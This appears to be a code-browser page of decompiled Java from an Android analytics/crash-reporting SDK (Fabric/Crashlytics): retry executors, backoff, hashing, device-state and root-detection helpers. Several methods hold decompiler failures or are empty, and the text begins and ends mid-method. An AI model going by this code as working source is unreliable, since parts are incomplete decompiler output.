            if (this.exception == null) {
                return this.value;
            }
            throw new ExecutionException(this.exception);
        case 4:
        case 8:
            throw AbstractFuture.cancellationExceptionWithCause("Task was cancelled.", this.exception);
        default:
            throw new IllegalStateException("Error, synchronizer in invalid state: " + state);
    }
}



50
51
52
53
54
55
56
57
58
59
60
61
62
63
64

isDone

Java Code
boolean isDone() {
    return (getState() & 14) != 0;
}



66
67
68

isCancelled

Java Code
boolean isCancelled() {
    return (getState() & 12) != 0;
}



70
71
72

wasInterrupted

Java Code
boolean wasInterrupted() {
    return getState() == 8;
}



74
75
76

set

Java Code
boolean set(V v) {
    return complete(v, null, 2);
}



78
79
80

setException

Java Code
boolean setException(Throwable t) {
    return complete(null, t, 2);
}



82
83
84

cancel

Java Code
boolean cancel(boolean interrupt) {
    return complete(null, null, interrupt ? 8 : 4);
}



86
87
88

complete

Java Code
private boolean complete(V v, Throwable t, int finalState) {
    boolean doCompletion = compareAndSetState(0, 1);
    if (doCompletion) {
        this.value = v;
        if ((finalState & 12) != 0) {
            t = new CancellationException("Future.cancel() was called.");
        }
        this.exception = t;
        releaseShared(finalState);
    } else if (getState() == 1) {
        acquireShared(-1);
    }
    return doCompletion;
}



90
91
92
93
94
95
96
97
98
99
100
101
102
103

RetryThreadPoolExecutor

Java Code
public RetryThreadPoolExecutor(int corePoolSize, RetryPolicy retryPolicy, Backoff backoff) {
    this(corePoolSize, Executors.defaultThreadFactory(), retryPolicy, backoff);
}



13
14
15

RetryThreadPoolExecutor

Java Code
public RetryThreadPoolExecutor(int corePoolSize, ThreadFactory factory, RetryPolicy retryPolicy, Backoff backoff) {
    super(corePoolSize, factory);
    if (retryPolicy == null) {
        throw new NullPointerException("retry policy must not be null");
    } else if (backoff == null) {
        throw new NullPointerException("backoff must not be null");
    } else {
        this.retryPolicy = retryPolicy;
        this.backoff = backoff;
    }
}



17
18
19
20
21
22
23
24
25
26
27

scheduleWithRetry

Java Code
public Future<?> scheduleWithRetry(Runnable task) {
    return scheduleWithRetryInternal(Executors.callable(task));
}



29
30
31

scheduleWithRetry

Java Code
public <T> Future<T> scheduleWithRetry(Runnable task, T result) {
    return scheduleWithRetryInternal(Executors.callable(task, result));
}



33
34
35

scheduleWithRetry

Java Code
public <T> Future<T> scheduleWithRetry(Callable<T> task) {
    return scheduleWithRetryInternal(task);
}



37
38
39

scheduleWithRetryInternal

Java Code
private <T> Future<T> scheduleWithRetryInternal(Callable<T> task) {
    if (task == null) {
        throw new NullPointerException();
    }
    RetryFuture<T> retryFuture = new RetryFuture(task, new RetryState(this.backoff, this.retryPolicy), this);
    execute(retryFuture);
    return retryFuture;
}



41
42
43
44
45
46
47
48

getRetryPolicy

Java Code
public RetryPolicy getRetryPolicy() {
    return this.retryPolicy;
}



50
51
52

getBackoff

Java Code
public Backoff getBackoff() {
    return this.backoff;
}



54
55
56

getDelayMillis

Java Code



DefaultRetryPolicy

Java Code
public DefaultRetryPolicy() {
    this(1);
}



6
7
8

DefaultRetryPolicy

Java Code
public DefaultRetryPolicy(int maxRetries) {
    this.maxRetries = maxRetries;
}



10
11
12

shouldRetry

Java Code
public boolean shouldRetry(int retries, Throwable e) {
    return retries < this.maxRetries;
}



14
15
16

RetryState

Java Code
public RetryState(Backoff backoff, RetryPolicy retryPolicy) {
    this(0, backoff, retryPolicy);
}



8
9
10

RetryState

Java Code
public RetryState(int retryCount, Backoff backoff, RetryPolicy retryPolicy) {
    this.retryCount = retryCount;
    this.backoff = backoff;
    this.retryPolicy = retryPolicy;
}



12
13
14
15
16

getRetryCount

Java Code
public int getRetryCount() {
    return this.retryCount;
}



18
19
20

getRetryDelay

Java Code
public long getRetryDelay() {
    return this.backoff.getDelayMillis(this.retryCount);
}



22
23
24

getBackoff

Java Code
public Backoff getBackoff() {
    return this.backoff;
}



26
27
28

getRetryPolicy

Java Code
public RetryPolicy getRetryPolicy() {
    return this.retryPolicy;
}



30
31
32

nextRetryState

Java Code
public RetryState nextRetryState() {
    return new RetryState(this.retryCount + 1, this.backoff, this.retryPolicy);
}



34
35
36

initialRetryState

Java Code
public RetryState initialRetryState() {
    return new RetryState(this.backoff, this.retryPolicy);
}



38
39
40

RetryFuture

Java Code
RetryFuture(Callable<T> task, RetryState retryState, RetryThreadPoolExecutor executor) {
    this.task = task;
    this.retryState = retryState;
    this.executor = executor;
}



12
13
14
15
16

run

Java Code
public void run() {
    if (!isDone() && this.runner.compareAndSet(null, Thread.currentThread())) {
        try {
            set(this.task.call());
            this.runner.getAndSet(null);
        } catch (Throwable th) {
            this.runner.getAndSet(null);
        }
    }
}



18
19
20
21
22
23
24
25
26
27

getRetryPolicy

Java Code
private RetryPolicy getRetryPolicy() {
    return this.retryState.getRetryPolicy();
}



29
30
31

getBackoff

Java Code
private Backoff getBackoff() {
    return this.retryState.getBackoff();
}



33
34
35

getRetryCount

Java Code
private int getRetryCount() {
    return this.retryState.getRetryCount();
}



37
38
39

interruptTask

Java Code
protected void interruptTask() {
    Thread thread = (Thread) this.runner.getAndSet(null);
    if (thread != null) {
        thread.interrupt();
    }
}



41
42
43
44
45
46

ExponentialBackoff

Java Code
public ExponentialBackoff(long baseTimeMillis) {
    this(baseTimeMillis, 2);
}



8
9
10

ExponentialBackoff

Java Code
public ExponentialBackoff(long baseTimeMillis, int power) {
    this.baseTimeMillis = baseTimeMillis;
    this.power = power;
}



12
13
14
15

getDelayMillis

Java Code
public long getDelayMillis(int retries) {
    return (long) (((double) this.baseTimeMillis) * Math.pow((double) this.power, (double) retries));
}



17
18
19

TimingMetric

Java Code
public TimingMetric(String eventName, String tag) {
    this.eventName = eventName;
    this.tag = tag;
    this.disabled = !Log.isLoggable(tag, 2);
}



13
14
15
16
17

startMeasuring

Java Code
public synchronized void startMeasuring() {
    if (!this.disabled) {
        this.start = SystemClock.elapsedRealtime();
        this.duration = 0;
    }
}



19
20
21
22
23
24

stopMeasuring

Java Code
public synchronized void stopMeasuring() {
    if (!this.disabled) {
        if (this.duration == 0) {
            this.duration = SystemClock.elapsedRealtime() - this.start;
            reportToLog();
        }
    }
}



26
27
28
29
30
31
32
33

getDuration

Java Code
public long getDuration() {
    return this.duration;
}



35
36
37

reportToLog

Java Code
private void reportToLog() {
    Log.v(this.tag, this.eventName + ": " + this.duration + "ms");
}



39
40
41

getApiKeyFromFirebaseAppId

Java Code
protected String getApiKeyFromFirebaseAppId(Context context) {
    int id = CommonUtils.getResourcesIdentifier(context, GOOGLE_APP_ID, "string");
    if (id == 0) {
        return null;
    }
    Fabric.getLogger().d(Fabric.TAG, "Generating Crashlytics ApiKey from google_app_id in Strings");
    return createApiKeyFromFirebaseAppId(context.getResources().getString(id));
}



11
12
13
14
15
16
17
18

createApiKeyFromFirebaseAppId

Java Code
protected String createApiKeyFromFirebaseAppId(String appId) {
    return CommonUtils.sha256(appId).substring(0, 40);
}



20
21
22

isFirebaseCrashlyticsEnabled

Java Code
public boolean isFirebaseCrashlyticsEnabled(Context context) {
    if (CommonUtils.getBooleanResourceValue(context, FIREBASE_FEATURE_SWITCH, false)) {
        return true;
    }
    boolean hasGoogleAppId;
    if (CommonUtils.getResourcesIdentifier(context, GOOGLE_APP_ID, "string") != 0) {
        hasGoogleAppId = true;
    } else {
        hasGoogleAppId = false;
    }
    boolean hasApiKey;
    if (TextUtils.isEmpty(new ApiKey().getApiKeyFromManifest(context)) && TextUtils.isEmpty(new ApiKey().getApiKeyFromStrings(context))) {
        hasApiKey = false;
    } else {
        hasApiKey = true;
    }
    if (!hasGoogleAppId || hasApiKey) {
        return false;
    }
    return true;
}



24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44

compare

Java Code
public int compare(File file0, File file1) {
    return (int) (file0.lastModified() - file1.lastModified());
}



62
63
64

getAppIconHashOrNull

Java Code
public static java.lang.String getAppIconHashOrNull(android.content.Context r7) {
    /* JADX: method processing error */
r: java.lang.NullPointerException
jadx.core.dex.visitors.ssa.SSATransform.placePhi(SSATransform.java:82)
jadx.core.dex.visitors.ssa.SSATransform.process(SSATransform.java:50)
jadx.core.dex.visitors.ssa.SSATransform.visit(SSATransform.java:42)
jadx.core.dex.visitors.DepthTraversal.visit(DepthTraversal.java:31)
jadx.core.dex.visitors.DepthTraversal.visit(DepthTraversal.java:17)
jadx.core.ProcessClass.process(ProcessClass.java:34)
jadx.core.ProcessClass.processDependencies(ProcessClass.java:56)
jadx.core.ProcessClass.process(ProcessClass.java:39)
jadx.api.JadxDecompiler.processClass(JadxDecompiler.java:282)
jadx.api.JavaClass.decompile(JavaClass.java:62)
jadx.api.JadxDecompiler.lambda$appendSourcesSave$0(JadxDecompiler.java:200)
    /*
    r3 = 0;
    r1 = 0;
    r4 = r7.getResources();   Catch:{ Exception -> 0x001f, all -> 0x0032 }
    r5 = getAppIconResourceId(r7);   Catch:{ Exception -> 0x001f, all -> 0x0032 }
    r1 = r4.openRawResource(r5);   Catch:{ Exception -> 0x001f, all -> 0x0032 }
    r2 = sha1(r1);   Catch:{ Exception -> 0x001f, all -> 0x0032 }
    r4 = isNullOrEmpty(r2);   Catch:{ Exception -> 0x001f, all -> 0x0032 }
    if (r4 == 0) goto L_0x0019;
L_0x0018:
    r2 = r3;
L_0x0019:
    r3 = "Failed to close icon input stream.";
    closeOrLog(r1, r3);
L_0x001e:
    return r2;
L_0x001f:
    r0 = move-exception;
    r4 = io.fabric.sdk.android.Fabric.getLogger();   Catch:{ Exception -> 0x001f, all -> 0x0032 }
    r5 = "Fabric";   Catch:{ Exception -> 0x001f, all -> 0x0032 }
    r6 = "Could not calculate hash for app icon.";   Catch:{ Exception -> 0x001f, all -> 0x0032 }
    r4.e(r5, r6, r0);   Catch:{ Exception -> 0x001f, all -> 0x0032 }
    r4 = "Failed to close icon input stream.";
    closeOrLog(r1, r4);
    r2 = r3;
    goto L_0x001e;
L_0x0032:
    r3 = move-exception;
    r4 = "Failed to close icon input stream.";
    closeOrLog(r1, r4);
    throw r3;
    */
    throw new UnsupportedOperationException("Method not decompiled: io.fabric.sdk.android.services.common.CommonUtils.getAppIconHashOrNull(android.content.Context):java.lang.String");
}



118
119
121
122
123
124
125
126
127
128
129
130
131
132
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167

getSharedPrefs

Java Code
public static SharedPreferences getSharedPrefs(Context context) {
    return context.getSharedPreferences(CLS_SHARED_PREFERENCES_NAME, 0);
}



169
170
171

extractFieldFromSystemFile

Java Code
public static java.lang.String extractFieldFromSystemFile(java.io.File r11, java.lang.String r12) {
    /*
    r9 = 1;
    r6 = 0;
    r7 = r11.exists();
    if (r7 == 0) goto L_0x003a;
L_0x0008:
    r0 = 0;
    r1 = new java.io.BufferedReader;   Catch:{ Exception -> 0x003b }
    r7 = new java.io.FileReader;   Catch:{ Exception -> 0x003b }
    r7.<init>(r11);   Catch:{ Exception -> 0x003b }
    r8 = 1024; // 0x400 float:1.435E-42 double:5.06E-321;
    r1.<init>(r7, r8);   Catch:{ Exception -> 0x003b }
L_0x0015:
    r3 = r1.readLine();   Catch:{ Exception -> 0x0068, all -> 0x0065 }
    if (r3 == 0) goto L_0x0035;
L_0x001b:
    r7 = "\\s*:\\s*";
    r4 = java.util.regex.Pattern.compile(r7);   Catch:{ Exception -> 0x0068, all -> 0x0065 }
    r7 = 2;
    r5 = r4.split(r3, r7);   Catch:{ Exception -> 0x0068, all -> 0x0065 }
    r7 = r5.length;   Catch:{ Exception -> 0x0068, all -> 0x0065 }
    if (r7 <= r9) goto L_0x0015;
L_0x0029:
    r7 = 0;
    r7 = r5[r7];   Catch:{ Exception -> 0x0068, all -> 0x0065 }
    r7 = r7.equals(r12);   Catch:{ Exception -> 0x0068, all -> 0x0065 }
    if (r7 == 0) goto L_0x0015;
L_0x0032:
    r7 = 1;
    r6 = r5[r7];   Catch:{ Exception -> 0x0068, all -> 0x0065 }
L_0x0035:
    r7 = "Failed to close system file reader.";
    closeOrLog(r1, r7);
L_0x003a:
    return r6;
L_0x003b:
    r2 = move-exception;
L_0x003c:
    r7 = io.fabric.sdk.android.Fabric.getLogger();   Catch:{ all -> 0x005e }
    r8 = "Fabric";
    r9 = new java.lang.StringBuilder;   Catch:{ all -> 0x005e }
    r9.<init>();   Catch:{ all -> 0x005e }
    r10 = "Error parsing ";
    r9 = r9.append(r10);   Catch:{ all -> 0x005e }
    r9 = r9.append(r11);   Catch:{ all -> 0x005e }
    r9 = r9.toString();   Catch:{ all -> 0x005e }
    r7.e(r8, r9, r2);   Catch:{ all -> 0x005e }
    r7 = "Failed to close system file reader.";
    closeOrLog(r0, r7);
    goto L_0x003a;
L_0x005e:
    r7 = move-exception;
L_0x005f:
    r8 = "Failed to close system file reader.";
    closeOrLog(r0, r8);
    throw r7;
L_0x0065:
    r7 = move-exception;
    r0 = r1;
    goto L_0x005f;
L_0x0068:
    r2 = move-exception;
    r0 = r1;
    goto L_0x003c;
    */
    throw new UnsupportedOperationException("Method not decompiled: io.fabric.sdk.android.services.common.CommonUtils.extractFieldFromSystemFile(java.io.File, java.lang.String):java.lang.String");
}



175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242

getCpuArchitectureInt

Java Code
public static int getCpuArchitectureInt() {
    return Architecture.getValue().ordinal();
}



244
245
246

getTotalRamInBytes

Java Code
public static synchronized long getTotalRamInBytes() {
    long j;
    synchronized (CommonUtils.class) {
        if (totalRamInBytes == -1) {
            long bytes = 0;
            String result = extractFieldFromSystemFile(new File("/proc/meminfo"), "MemTotal");
            if (!TextUtils.isEmpty(result)) {
                result = result.toUpperCase(Locale.US);
                try {
                    if (result.endsWith("KB")) {
                        bytes = convertMemInfoToBytes(result, "KB", BYTES_IN_A_KILOBYTE);
                    } else if (result.endsWith("MB")) {
                        bytes = convertMemInfoToBytes(result, "MB", BYTES_IN_A_MEGABYTE);
                    } else if (result.endsWith("GB")) {
                        bytes = convertMemInfoToBytes(result, "GB", BYTES_IN_A_GIGABYTE);
                    } else {
                        Fabric.getLogger().d(Fabric.TAG, "Unexpected meminfo format while computing RAM: " + result);
                    }
                } catch (NumberFormatException e) {
                    Fabric.getLogger().e(Fabric.TAG, "Unexpected meminfo format while computing RAM: " + result, e);
                }
            }
            totalRamInBytes = bytes;
        }
        j = totalRamInBytes;
    }
    return j;
}



248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275

convertMemInfoToBytes

Java Code
static long convertMemInfoToBytes(String memInfo, String notation, int notationMultiplier) {
    return Long.parseLong(memInfo.split(notation)[0].trim()) * ((long) notationMultiplier);
}



277
278
279

getAppProcessInfo

Java Code
public static RunningAppProcessInfo getAppProcessInfo(String packageName, Context context) {
    List<RunningAppProcessInfo> processes = ((ActivityManager) context.getSystemService("activity")).getRunningAppProcesses();
    if (processes == null) {
        return null;
    }
    for (RunningAppProcessInfo info : processes) {
        if (info.processName.equals(packageName)) {
            return info;
        }
    }
    return null;
}



281
282
283
284
285
286
287
288
289
290
291
292

streamToString

Java Code
public static String streamToString(InputStream is) throws IOException {
    Scanner s = new Scanner(is).useDelimiter("\\A");
    return s.hasNext() ? s.next() : "";
}



294
295
296
297

sha1

Java Code
public static String sha1(String source) {
    return hash(source, SHA1_INSTANCE);
}



299
300
301

sha256

Java Code
public static String sha256(String source) {
    return hash(source, SHA256_INSTANCE);
}



303
304
305

sha1

Java Code
public static String sha1(InputStream source) {
    return hash(source, SHA1_INSTANCE);
}



307
308
309

hash

Java Code
private static String hash(String s, String algorithm) {
    return hash(s.getBytes(), algorithm);
}



311
312
313

hash

Java Code
private static String hash(InputStream source, String sha1Instance) {
    try {
        MessageDigest digest = MessageDigest.getInstance(sha1Instance);
        byte[] buffer = new byte[BYTES_IN_A_KILOBYTE];
        while (true) {
            int length = source.read(buffer);
            if (length == -1) {
                return hexify(digest.digest());
            }
            digest.update(buffer, 0, length);
        }
    } catch (Exception e) {
        Fabric.getLogger().e(Fabric.TAG, "Could not calculate hash for app icon.", e);
        return "";
    }
}



315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330

hash

Java Code
private static String hash(byte[] bytes, String algorithm) {
    try {
        MessageDigest digest = MessageDigest.getInstance(algorithm);
        digest.update(bytes);
        return hexify(digest.digest());
    } catch (NoSuchAlgorithmException e) {
        Fabric.getLogger().e(Fabric.TAG, "Could not create hashing algorithm: " + algorithm + ", returning empty string.", e);
        return "";
    }
}



332
333
334
335
336
337
338
339
340
341

createInstanceIdFrom

Java Code
public static String createInstanceIdFrom(String... sliceIds) {
    if (sliceIds == null || sliceIds.length == 0) {
        return null;
    }
    List<String> sliceIdList = new ArrayList();
    for (String id : sliceIds) {
        if (id != null) {
            sliceIdList.add(id.replace("-", "").toLowerCase(Locale.US));
        }
    }
    Collections.sort(sliceIdList);
    StringBuilder sb = new StringBuilder();
    for (String id2 : sliceIdList) {
        sb.append(id2);
    }
    String concatValue = sb.toString();
    if (concatValue.length() > 0) {
        return sha1(concatValue);
    }
    return null;
}



343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363

calculateFreeRamInBytes

Java Code
public static long calculateFreeRamInBytes(Context context) {
    MemoryInfo mi = new MemoryInfo();
    ((ActivityManager) context.getSystemService("activity")).getMemoryInfo(mi);
    return mi.availMem;
}



365
366
367
368
369

calculateUsedDiskSpaceInBytes

Java Code
public static long calculateUsedDiskSpaceInBytes(String path) {
    StatFs statFs = new StatFs(path);
    long blockSizeBytes = (long) statFs.getBlockSize();
    return (blockSizeBytes * ((long) statFs.getBlockCount())) - (blockSizeBytes * ((long) statFs.getAvailableBlocks()));
}



371
372
373
374
375

getBatteryLevel

Java Code
public static Float getBatteryLevel(Context context) {
    Intent battery = context.registerReceiver(null, new IntentFilter("android.intent.action.BATTERY_CHANGED"));
    if (battery == null) {
        return null;
    }
    return Float.valueOf(((float) battery.getIntExtra("level", -1)) / ((float) battery.getIntExtra("scale", -1)));
}



377
378
379
380
381
382
383

getProximitySensorEnabled

Java Code
public static boolean getProximitySensorEnabled(Context context) {
    if (isEmulator(context) || ((SensorManager) context.getSystemService("sensor")).getDefaultSensor(8) == null) {
        return false;
    }
    return true;
}



385
386
387
388
389
390

logControlled

Java Code
public static void logControlled(Context context, String msg) {
    if (isClsTrace(context)) {
        Fabric.getLogger().d(Fabric.TAG, msg);
    }
}



392
393
394
395
396

logControlledError

Java Code
public static void logControlledError(Context context, String msg, Throwable tr) {
    if (isClsTrace(context)) {
        Fabric.getLogger().e(Fabric.TAG, msg);
    }
}



398
399
400
401
402

logControlled

Java Code
public static void logControlled(Context context, int level, String tag, String msg) {
    if (isClsTrace(context)) {
        Fabric.getLogger().log(level, Fabric.TAG, msg);
    }
}



404
405
406
407
408

isLoggingEnabled

Java Code
public static boolean isLoggingEnabled(Context context) {
    return false;
}



411
412
413

isClsTrace

Java Code
public static boolean isClsTrace(Context context) {
    if (clsTrace == null) {
        clsTrace = Boolean.valueOf(getBooleanResourceValue(context, CLS_TRACE_PREFERENCE_NAME, false));
    }
    return clsTrace.booleanValue();
}



415
416
417
418
419
420

getBooleanResourceValue

Java Code
public static boolean getBooleanResourceValue(Context context, String key, boolean defaultValue) {
    if (context == null) {
        return defaultValue;
    }
    Resources resources = context.getResources();
    if (resources == null) {
        return defaultValue;
    }
    int id = getResourcesIdentifier(context, key, "bool");
    if (id > 0) {
        return resources.getBoolean(id);
    }
    id = getResourcesIdentifier(context, key, "string");
    if (id > 0) {
        return Boolean.parseBoolean(context.getString(id));
    }
    return defaultValue;
}



422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439

getResourcesIdentifier

Java Code
public static int getResourcesIdentifier(Context context, String key, String resourceType) {
    return context.getResources().getIdentifier(key, resourceType, getResourcePackageName(context));
}



441
442
443

isEmulator

Java Code
public static boolean isEmulator(Context context) {
    return SDK.equals(Build.PRODUCT) || GOOGLE_SDK.equals(Build.PRODUCT) || Secure.getString(context.getContentResolver(), "android_id") == null;
}



445
446
447

isRooted

Java Code
public static boolean isRooted(Context context) {
    boolean isEmulator = isEmulator(context);
    String buildTags = Build.TAGS;
    if ((!isEmulator && buildTags != null && buildTags.contains("test-keys")) || new File("/system/app/Superuser.apk").exists()) {
        return true;
    }
    File file = new File("/system/xbin/su");
    if (isEmulator || !file.exists()) {
        return false;
    }
    return true;
}



449
450
451
452
453
454
455
456
457
458
459
460

isDebuggerAttached

Java Code
public static boolean isDebuggerAttached() {
    return Debug.isDebuggerConnected() || Debug.waitingForDebugger();
}



462
463
464

getDeviceState

Java Code
public static int getDeviceState(Context context) {
    int deviceState = 0;
    if (isEmulator(context)) {
        deviceState = 0 | 1;
    }
    if (isRooted(context)) {
        deviceState |= 2;
    }
    if (isDebuggerAttached()) {
        return deviceState | 4;
    }
    return deviceState;
}



466
467
468
469
470
471
472
473
474
475
476
477
478

getBatteryVelocity

Java Code
public static int getBatteryVelocity(Context context, boolean powerConnected) {
    Float batteryLevel = getBatteryLevel(context);
    if (!powerConnected || batteryLevel == null) {
        return 1;
    }
    if (((double) batteryLevel.floatValue()) >= 99.0d) {
        return 3;
    }
    if (((double) batteryLevel.floatValue()) < 99.0d) {
        return 2;
    }
    return 0;
}



480
481
482
483
484
485
486
487
488
489
490
491
492

createCipher

Java Code
public static Cipher createCipher(int mode, String key) throws InvalidKeyException {
    throw new InvalidKeyException("This method is deprecated");
}



495
496
497

hexify

Java Code
public static String hexify(byte[] bytes) {
    char[] hexChars = new char[(bytes.length * 2)];
    for (int i = 0; i < bytes.length; i++) {
        int v = bytes[i] & SettingsJsonConstants.SETTINGS_IDENTIFIER_MASK_DEFAULT;
        hexChars[i * 2] = HEX_VALUES[v >>> 4];
        hexChars[(i * 2) + 1] = HEX_VALUES[v & 15];
    }
    return new String(hexChars);
}



499
500
501
502
503
504
505
506
507

dehexify

Java Code
public static byte[] dehexify(String string) {
    int len = string.length();
    byte[] data = new byte[(len / 2)];
    for (int i = 0; i < len; i += 2) {
        data[i / 2] = (byte) ((Character.digit(string.charAt(i), 16) << 4) + Character.digit(string.charAt(i + 1), 16));
    }
    return data;
}



509
510
511
512
513
514
515
516

isAppDebuggable

Java Code
public static boolean isAppDebuggable(Context context) {
    return (context.getApplicationInfo().flags & 2) != 0;
}



518
519
520

getStringsFileValue

Java Code
public static String getStringsFileValue(Context context, String key) {
    int id = getResourcesIdentifier(context, key, "string");
    if (id > 0) {
        return context.getString(id);
    }
    return "";
}



522
523
524
525
526
527
528

closeOrLog

Java Code
public static void closeOrLog(Closeable c, String message) {
    if (c != null) {
        try {
            c.close();
        } catch (IOException e) {
            Fabric.getLogger().e(Fabric.TAG, message, e);
        }
    }
}



530
531
532
533
534
535
536
537
538

flushOrLog

Java Code
public static void flushOrLog(Flushable f, String message) {
    if (f != null) {
        try {
            f.flush();
        } catch (IOException e) {
            Fabric.getLogger().e(Fabric.TAG, message, e);
        }
    }
}



540
541
542
543
544
545
546
547
548

isNullOrEmpty

Java Code
public static boolean isNullOrEmpty(String s) {
    return s == null || s.length() == 0;
}



550
551
552

padWithZerosToMaxIntWidth

Java Code
public static String padWithZerosToMaxIntWidth(int value) {
    if (value < 0) {
        throw new IllegalArgumentException("value must be zero or greater");
    }
    return String.format(Locale.US, "%1$10s", new Object[]{Integer.valueOf(value)}).replace(' ', '0');
}



554
555
556
557
558
559

stringsEqualIncludingNull

Java Code
public static boolean stringsEqualIncludingNull(String s1, String s2) {
    if (s1 == s2) {
        return true;
    }
    if (s1 != null) {
        return s1.equals(s2);
    }
    return false;
}



561
562
563
564
565
566
567
568
569

getResourcePackageName

Java Code
public static String getResourcePackageName(Context context) {
    int iconId = context.getApplicationContext().getApplicationInfo().icon;
    if (iconId > 0) {
        return context.getResources().getResourcePackageName(iconId);
    }
    return context.getPackageName();
}



571
572
573
574
575
576
577

copyStream

Java Code
public static void copyStream(InputStream is, OutputStream os, byte[] buffer) throws IOException {
    while (true) {
        int count = is.read(buffer);
        if (count != -1) {
            os.write(buffer, 0, count);
        } else {
            return;
        }
    }
}



579
580
581
582
583
584
585
586
587
588

logPriorityToString

Java Code
public static String logPriorityToString(int priority) {
    switch (priority) {
        case 2:
            return LOG_PRIORITY_NAME_VERBOSE;
        case 3:
            return LOG_PRIORITY_NAME_DEBUG;
        case 4:
            return LOG_PRIORITY_NAME_INFO;
        case WireFormat.WIRETYPE_FIXED32 /*5*/:
            return LOG_PRIORITY_NAME_WARN;
        case 6:
            return LOG_PRIORITY_NAME_ERROR;
        case 7:
            return LOG_PRIORITY_NAME_ASSERT;
        default:
            return LOG_PRIORITY_NAME_UNKNOWN;
    }
}



590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607

getAppIconResourceId

Java Code
public static int getAppIconResourceId(Context context) {
    return context.getApplicationContext().getApplicationInfo().icon;
}



609
610
611

resolveBuildId

Java Code
public static String resolveBuildId(Context context) {
    int id = getResourcesIdentifier(context, FABRIC_BUILD_ID, "string");
    if (id == 0) {
        id = getResourcesIdentifier(context, CRASHLYTICS_BUILD_ID, "string");
    }
    if (id == 0) {
        return null;
    }
    String buildId = context.getResources().getString(id);
    Fabric.getLogger().d(Fabric.TAG, "Build ID is: " + buildId);
    return buildId;
}



613
614
615
616
617
618
619
620
621
622
623
624

closeQuietly

Java Code
public static void closeQuietly(Closeable closeable) {
    if (closeable != null) {
        try {
            closeable.close();
        } catch (RuntimeException rethrown) {
            throw rethrown;
        } catch (Exception e) {
        }
    }
}



626
627
628
629
630
631
632
633
634
635

checkPermission

Java Code
public static boolean checkPermission(Context context, String permission) {
    return context.checkCallingOrSelfPermission(permission) == 0;
}



637
638
639

hideKeyboard

Java Code
public static void hideKeyboard(Context context, View view) {
    InputMethodManager imm = (InputMethodManager) context.getSystemService("input_method");
    if (imm != null) {
        imm.hideSoftInputFromWindow(view.getWindowToken(), 0);
    }
}



641
642
643
644
645
646

openKeyboard

Java Code
public static void openKeyboard(Context context, View view) {
    InputMethodManager imm = (InputMethodManager) context.getSystemService("input_method");
    if (imm != null) {
        imm.showSoftInputFromInputMethod(view.getWindowToken(), 0);
    }
}



648
649
650
651
652
653

finishAffinity

Java Code
public static void finishAffinity(Context context, int resultCode) {
    if (context instanceof Activity) {
        finishAffinity((Activity) context, resultCode);
    }
}



656
657
658
659
660

finishAffinity

Java Code
public static void finishAffinity(Activity activity, int resultCode) {
    if (activity != null) {
        if (VERSION.SDK_INT >= 16) {
            activity.finishAffinity();
            return;
        }
        activity.setResult(resultCode);
        activity.finish();
    }
}



663
664
665
666
667
668
669
670
671
672

canTryConnection

Java Code
public static boolean canTryConnection(Context context) {
    if (!checkPermission(context, "android.permission.ACCESS_NETWORK_STATE")) {
        return true;
    }
    NetworkInfo activeNetwork = ((ConnectivityManager) context.getSystemService("connectivity")).getActiveNetworkInfo();
    if (activeNetwork == null || !activeNetwork.isConnectedOrConnecting()) {
        return false;
    }
    return true;
}



675
676
677
678
679
680
681
682
683
684

logOrThrowIllegalStateException

Java Code
public static void logOrThrowIllegalStateException(String logTag, String errorMsg) {
    if (Fabric.isDebuggable()) {
        throw new IllegalStateException(errorMsg);
    }
    Fabric.getLogger().w(logTag, errorMsg);
}



686
687
688
689
690
691

logOrThrowIllegalArgumentException

Java Code
public static void logOrThrowIllegalArgumentException(String logTag, String errorMsg) {
    if (Fabric.isDebuggable()) {
        throw new IllegalArgumentException(errorMsg);
    }
    Fabric.getLogger().w(logTag, errorMsg);
}



693
694
695
696
697
698

<clinit>

Java Code



getValue

Java Code
static Architecture getValue() {
    String arch = Build.CPU_ABI;
    if (TextUtils.isEmpty(arch)) {
        Fabric.getLogger().d(Fabric.TAG, "Architecture#getValue()::Build.CPU_ABI returned null or empty");
        return UNKNOWN;
    }
    Architecture value = (Architecture) matcher.get(arch.toLowerCase(Locale.US));
    if (value == null) {
        return UNKNOWN;
    }
    return value;
}



104
105
106
107
108
109
110
111
112
113
114
115

parse

Java Code
public static int parse(int statusCode) {
    if (statusCode >= 200 && statusCode <= 299) {
        return 0;
    }
    if (statusCode >= 300 && statusCode <= 399) {
        return 1;
    }
    if (statusCode >= 400 && statusCode <= 499) {
        return 0;
    }
    if (statusCode >= 500) {
        return 1;
    }
    return 1;
}



7
8
9
10
11
12
13
14
15
16
17
18
19
20
21

getDeviceIdentifiers

Java Code



SafeToast

Java Code
public SafeToast(Context context) {
    super(context);
}



11
12
13

show

Java Code
public void show() {
    if (Looper.myLooper() == Looper.getMainLooper()) {
        super.show();
    } else {
        new Handler(Looper.getMainLooper()).post(new PriorityRunnable() {
            public void run() {
                super.show();
            }
        });
    }
}



15
16
17
18
19
20
21
22
23
24
25

run

Java Code
public void run() {
    super.show();
}



20
21
22

makeText

Java Code
public static Toast makeText(Context context, CharSequence text, int duration) {
    Toast origToast = Toast.makeText(context, text, duration);
    SafeToast safeToast = new SafeToast(context);
    safeToast.setView(origToast.getView());
    safeToast.setDuration(origToast.getDuration());
    return safeToast;
}



27
28
29
30
31
32
33

makeText

Java Code
public static Toast makeText(Context context, int resId, int duration) throws NotFoundException {
    return makeText(context, context.getResources().getText(resId), duration);
}



35
36
37

<clinit>

Java Code



AbstractSpiCall

Java Code
public AbstractSpiCall(Kit kit, String protocolAndHostOverride, String url, HttpRequestFactory requestFactory, HttpMethod method) {
    if (url == null) {
        throw new IllegalArgumentException("url must not be null.");
    } else if (requestFactory == null) {
        throw new IllegalArgumentException("requestFactory must not be null.");
    } else {
        this.kit = kit;
        this.protocolAndHostOverride = protocolAndHostOverride;
